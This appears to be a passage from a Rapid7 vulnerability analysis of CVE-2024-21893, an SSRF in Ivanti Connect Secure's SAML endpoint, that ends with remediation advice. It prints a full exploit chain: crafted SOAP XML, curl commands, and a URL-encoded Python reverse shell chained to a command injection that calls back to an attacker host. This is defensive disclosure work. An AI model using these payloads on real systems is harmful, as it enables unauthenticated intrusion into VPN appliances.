vulnerability CVE-2024-21893 on January 31, 2024, both Ivanti and Mandiant have said that a threat actor has developed a new technique to bypass Ivanti’s original mitigation for the initial exploit chain. This bypass technique is CVE-2024-21893. Ivanti has released a second mitigation to prevent both exploit chains from working. As of Feb 1, 2024, Ivanti has begun releasing official patches to address all vulnerabilities used in both exploit chains. Note: Rapid7 research has verified that the second mitigation from Ivanti successfully blocks the exploit chain described in this analysis. This analysis details what we believe to be CVE-2024-21893, an SSRF vulnerability in the SAML component of Ivanti Connect Secure that can be leveraged to successfully bypass the original mitigation for the CVE-2023-46805 and CVE-2024-21887 exploit chain. Our analysis targets Ivanti Connect Secure 22.3R1, while the latest version available is 22.5R2.2. We recommend reading our Rapid7 analysis for background on both the original vulnerabilities, and on how Ivanti Connect Secure handles requests and authentication. HOW TO REACH THE SAML SERVER When researching the auth bypass vulnerability CVE-2023-46805, we discovered that authentication occurs via a function doAuthCheck in an HTTP web server binary /root/home/bin/web. When reviewing this in the context of a new SAML vulnerability, we can note that the endpoint /dana-ws/saml20.ws also does not require authentication. if ( !memcmp(uri_path_1, "/dana-na/", 9u) || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u) || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u) || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u) || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u) || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u) || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u) || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u) || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u) || !strncmp(uri_path1, "/adfs/ls", 8u) || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u) || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) ) { return 1; } v18 = (const void *)getDevice(a1->dwordC); if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) ) return 1; uri_path = a1->uri_path; if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu) || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u) || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u) || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u) || !strncmp((const char *)uri_path, "/api/my-session", 0xFu) || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <--- No auth check for the endpoint in the original exploit chain, CVE-2023-46805 || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u) || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u) || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu) || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u) || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu) || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) ) { return 1; } The web server’s function doDispatchRequest will dispatch unauthenticated HTTP POST requests for the endpoints /dana-ws/saml.ws, /dana-ws/saml20.ws, and /dana-ws/samlecp.ws to a back-end service called saml-server via the web server’s DSWSSAMLHandler class. These requests are intended to service SOAP-based SAML requests. if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u) || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) ) { if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) ) { v37 = "Watchdog"; if ( !*((_BYTE *)a1 + 240) ) v37 = "WebRequest"; dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML"); __cxa_guard_release((__guard *)&byte_13EBE0); } ++*(_QWORD *)dword_13EC54; if ( DSLog::Debug::isOn(v76) ) { v34 = "Watchdog"; if ( !*((_BYTE *)a1 + 240) ) v34 = "WebRequest"; DSLog::Debug::Write( (DSLog::Debug *)v34, &byte_9[1], (int)"request.cc", (const char *)&elf_gnu_hash_chain[440] + 3, (int)"Dispatching to SAML", v92); } DSCockpitCounter::updateCounter(0, 1); if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) ) { dword_13EC50 = DSGetStatementCounter( "request.cc", 5285, "doDispatchRequest", "WebRequest", 60, "DSCockpitCounter Webhits Incremented"); __cxa_guard_release((__guard *)&byte_13EBE8); } ++*(_QWORD *)dword_13EC50; if ( DSLog::Debug::isOn(v77) ) DSLog::Debug::Write( (DSLog::Debug *)"WebRequest", off_3C, (int)"request.cc", (const char *)&elf_gnu_hash_chain[441] + 1, (int)"DSCockpitCounter Webhits Incremented", v92); DSCockpitCounter::updateCounter(4, 1); return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler } The saml-server binary is located in /home/bin/saml-server and is responsible for all SAML operations, including SOAP requests. The function SoapHandler will attempt to convert the incoming HTTP POST request’s content data into an XML object via the function createXMLObjectFromSoapMessage. This function will call out to the library xmltooling for all XML processing. We can note that the version of xmltooling being used is 3.0.2, which is several releases out of date. Searching online for SSRF vulnerabilities in the xmltooling library uncovers CVE-2023-36661, an SSRF vulnerability via a crafted KeyInfo element in xmltooling affecting all version of the library before 3.2.4. The vendor Shibboleth published an advisory with some more details on June 12, 2023. Given we can reach the SAML server with an unauthenticated HTTP request, and can provide arbitrary XML data for processing by the vulnerable xmltooling library used by saml-server, it seems likely that this is the SSRF vulnerability identified as CVE-2024-21893 and used to bypass the first mitigation from Ivanti. TRIGGERING THE SSRF To trigger the SSRF vulnerability, we provide an XML SOAP envelope. Inside the SOAP envelope is a signature that will be processed by xmltooling. The signature contains a KeyInfo element that has a child RetrievalMethod element. The RetrievalMethod element has an attribute called URI. This attribute allows us to specify an arbitrary URI that the function XMLToolingFIPS.XMLObject.Signature will use to request a remote resource via a HTTP GET request, thus giving an attacker an SSRF exploit primitive. For example, to perform an SSRF and make saml-server perform an HTTP request to a machine we control (192.168.86.35 in the below example), the following SOAP envelope can be used (we saved the below XML to a file called post_data.xml). <?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://192.168.86.35:4444/hack%20the%20planet"/> <ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body> </soap:Envelope> We can then trigger the SSRF with a simple cURL request to the Ivanti Connect Secure appliance (192.168.86.111 in the example below): curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws Finally a netcat listener on our machine can be used to receive the server’s HTTP GET request. We can note that we also control the GET query, allowing us to provide an arbitrary GET query string during the SSRF. This will be important when we leverage the SSRF for remote code execution. >ncat -lp 4444 GET /hack%20the%20planet HTTP/1.0 Host: 192.168.86.35:4444 CHAINING THE SSRF TO CVE-2024-21887 FOR UNAUTHENTICATED RCE Knowing we can leverage an unauthenticated SSRF vulnerability to perform an arbitrary HTTP GET request, we can chain this to one of the command injection vulnerabilities from CVE-2024-21887 (Ivanti choose to address multiple command injection vulnerabilities in a single CVE, which is not considered a best practice. For clarity, every individual vulnerability should optimally be assigned a unique CVE identifier). As detailed in our original Rapid7 analysis, a command injection vulnerability exists in the /api/v1/license/keys-status endpoint, and is reachable via a single HTTP GET request. We learnt during that analysis that the Python back end that services the /api/v1/license/keys-status endpoint listens on a locally bound port 8090. Therefore, we can exploit this command injection via an HTTP GET request to http://127.0.0.1:8090/api/v1/license/keys-status if the HTTP GET request occurs on the appliance itself, for example via an SSRF vulnerability. As authentication is performed by the front-end web server and not the back-end services, no authentication is needed. This allows us to leverage the SSRF vulnerability to bypass the original mitigation from Ivanti, which imposed filtering restrictions in the front-end web server. To exploit CVE-2024-21887, we modify the SSRF URI as follows. This will trigger the command injection and run a Python-based reverse shell payload back to our attacker machine. http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B Our XML SOAP envelope becomes as follows: <?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/> <ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body> </soap:Envelope> We can then trigger the SSRF vulnerability, which in turn triggers the command injection vulnerability, which will in turn execute our reverse shell payload. curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws If we enable debug logging on the appliance we can see the saml-server processing the incoming XML data and performing the SSRF request to 127.0.0.1:8090. The debug log will be located in /data/var/dlogs/debuglog. 2024/02/02 09:37:41.758224 saml-server(30183) vc0 10 saml soap.cc:724 - DSSAMLHandler,Received SAML SOAP request: <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>blah</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/> <ds:X509Data/> </ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> from client 192.168.86.35 2024/02/02 09:37:41.758229 saml-server(30183) vc0 10 saml samlprofile.cc:35 - SAMLProfile::createXMLObjectFromSoapMessage 2024/02/02 09:37:41.758233 saml-server(30183) vc0 10 saml samlprofile.cc:36 - SOAP Message --> <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>blah</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/> <ds:X509Data/> </ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> 2024/02/02 09:37:41.758361 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG getBuilder: located XMLObjectBuilder for element name: soap:Envelope 2024/02/02 09:37:41.758391 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall: unmarshalling DOM element (soap:Envelope) 2024/02/02 09:37:41.758407 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: unmarshalling attributes for DOM element (soap:Envelope) 2024/02/02 09:37:41.758413 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: found namespace declaration, adding it to the list of namespaces on the XMLObject 2024/02/02 09:37:41.758420 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Envelope) 2024/02/02 09:37:41.758443 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: soap:Body 2024/02/02 09:37:41.758450 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child element (soap:Body) 2024/02/02 09:37:41.758458 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall: unmarshalling DOM element (soap:Body) 2024/02/02 09:37:41.758465 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Body) 2024/02/02 09:37:41.758474 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: ds:Signature 2024/02/02 09:37:41.758480 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child element (ds:Signature) 2024/02/02 09:37:41.758500 saml-server(30183) vc0 20 saml main.cc:313 - XMLToolingFIPS.XMLObject.Signature DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling ds:Signature 2024/02/02 09:37:41.758559 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:46 - name=127.0.0.1 2024/02/02 09:37:41.758564 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:92 - name=127.0.0.1 has 1 hits 2024/02/02 09:37:41.758569 saml-server(30183) vc0 5 DSPreload::DNS::gethostbyname dns.cc:96 - hit 0 = 127.0.0.1 2024/02/02 09:37:41.758578 saml-server(30183) vc0 1 DSPreload::Net net.cc:424 - rebind: connect AF_INET to dest = 127.0.0.1:8090 Given that all XML operations in saml-server are processed by the vulnerable xmltooling library, it is likely that other SAML endpoints can be leveraged to perform the SSRF. Several CGI scripts also perform SAML processing, such as /dana-na/auth/saml-sso.cgi and /dana-na/auth/saml-logout.cgi. We have verified that the new second mitigation from Ivanti successfully blocks the exploit chain described in this analysis. REMEDIATION Ivanti have released a second mitigation file that successfully remediates the exploit described in this analysis. In addition, Ivanti has released a patch to address all known vulnerabilities (CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893). A knowledge base article is available for further details on Ivanti’s interim workaround and official patch. REFERENCES * Vendor Advisory * Rapid7 Blog * Rapid7 Analysis of CVE-2023-46805 and CVE-2024-21887 REPORT AS EXPLOITED IN THE WILD AttackerKB users want to know this is information they can trust. Help the community by indicating the source(s) of your knowledge: * Vendor Advisory Add a reference URL (optional): * Government or Industry Alert Add a reference URL (optional): * Threat Feed Add a reference URL (optional): * News Article or Blog Add a reference URL (optional): * Exploitation personally observed in an environment (client, customer, employer, or personal environment) Add a reference URL (optional): * Other: Please explain the source of your report. Add a reference URL (optional): Report and add more details Report as Exploited Update Report CVE ID AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: CVE ID: ADD REFERENCES: Cancel Submit QUICK COOKIE NOTIFICATION This site uses cookies for anonymized analytics to improve the site. Rapid7 will never sell the data collected on this site. I AGREE, LET’S GO! -------------------------------------------------------------------------------- View our Cookie Policy for full details This site uses cookies for anonymized analytics. For more information or to change your cookie settings, view our Cookie Policy. Terms of Use Code of Conduct FAQ Changelog Privacy Policy Contact API A Rapid7 Project WATCH THIS TOPIC Watch this topic to be notified when new information, assessments, and comments are added